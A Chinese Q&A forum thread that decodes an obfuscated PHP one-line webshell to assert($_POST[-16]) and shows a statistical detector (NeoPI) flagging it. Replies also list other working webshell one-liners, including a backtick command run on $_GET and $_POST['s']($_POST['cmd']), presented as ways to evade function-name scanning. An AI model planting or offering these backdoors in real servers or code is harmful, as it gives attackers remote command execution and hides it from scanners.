一个有意思的 PHP 一句话后门，怎么破？

看到一个有意思的php一句话：

<span class="cp"><?php </span>                  
<span class="o">@</span><span class="nv">$_</span><span class="o">=</span><span class="s2">"s"</span><span class="o">.</span><span class="s2">"s"</span><span class="o">./*-/*-*/</span><span class="s2">"e"</span><span class="o">./*-/*-*/</span><span class="s2">"r"</span><span class="p">;</span>                  
<span class="o">@</span><span class="nv">$_</span><span class="o">=/*-/*-*/</span><span class="s2">"a"</span><span class="o">./*-/*-*/</span><span class="nv">$_</span><span class="o">./*-/*-*/</span><span class="s2">"t"</span><span class="p">;</span>                  
<span class="o">@</span><span class="nv">$_</span><span class="cm">/*-/*-*/</span><span class="p">(</span><span class="err">$</span><span class="cm">/*-/*-*/</span><span class="p">{</span><span class="s2">"_P"</span><span class="o">./*-/*-*/</span><span class="s2">"OS"</span><span class="o">./*-/*-*/</span><span class="s2">"T"</span><span class="p">}</span>                  
<span class="p">[</span><span class="cm">/*-/*-*/</span><span class="mi">0</span><span class="cm">/*-/*-*/</span><span class="o">-/*-/*-*/</span><span class="mi">11</span><span class="cm">/*-/*-*/</span><span class="o">-/*-/*-*/</span><span class="mi">5</span><span class="cm">/*-/*-*/</span><span class="p">]);</span><span class="cp">?></span><span class="x"></span>
</span>

回复内容：

assert($_POST[-16]);
?> 我觉得题主应该是问的密码是多少吧，这个一句话后面注释全部去掉之后，POST数组的key其实是一个算术运算

<code class="language-text">0-11-5
</code>

这一点也谈不上新奇，也谈不上是我见过的最变态的PHP后门。

如果有服务器权限，可以扫描文件的话（作为管理员没道理不行吧？），这类后门会被一类使用统计方法（计算包括信息熵、Index of Coincidence在内的一系列统计指标）的检测工具直接干爆。给一个很简单的例子：Neohapsis/NeoPI · GitHub

使用这个Python脚本检查这个文件：

<code class="language-text">[[ Average IC for Search ]]
0.139386719155

[[ Top 10 lowest IC files ]]
  0.1394        ./test/test.php

[[ Top 10 entropic files for a given search ]]
  3.5443        ./test/test.php

[[ Top 10 longest word files ]]
      60        ./test/test.php

[[ Top 10 signature match counts ]]
       0        ./test/test.php

[[ Top 10 SUPER-signature match counts (These are usually bad!) ]]
       0        ./test/test.php

[[ Top cumulative ranked files ]]
       5        ./test/test.php
</code>

<code class="language-text">/*-/*-*/ 注释 ：）
</code>

作为一个看了一年后门的人，已经能分清一句话是公是母了，这种马确实不太奇怪,
我觉得比较有意思的一句话后门有
echo `$_GET['id']` //插在文件中比较难发现
?>

<code class="language-php"><span class="cp"><?php </span> <span class="p">(</span><span class="nv">$_</span><span class="o">=</span><span class="nv">$I</span><span class="o">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="mi">3</span><span class="p">])</span><span class="o">.</span><span class="nv">$_</span><span class="p">(</span><span class="nv">$I</span><span class="o">.</span><span class="nv">$_POST</span><span class="p">[</span><span class="mi">4</span><span class="p">])</span><span class="cp">?></span><span class="x"> 据说PKAV大牛最近写了个生成这种后门的网页</span>

<span class="cp"><?php </span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'s'</span><span class="p">](</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);</span><span class="c1">//躲避函数名查杀</span>
<span class="cp">?></span><span class="x"></span>

<span class="x">还有用inlude调用图片的马</span>
</span></span></code>

仅仅是字符拆分，躲避关键函数名查杀。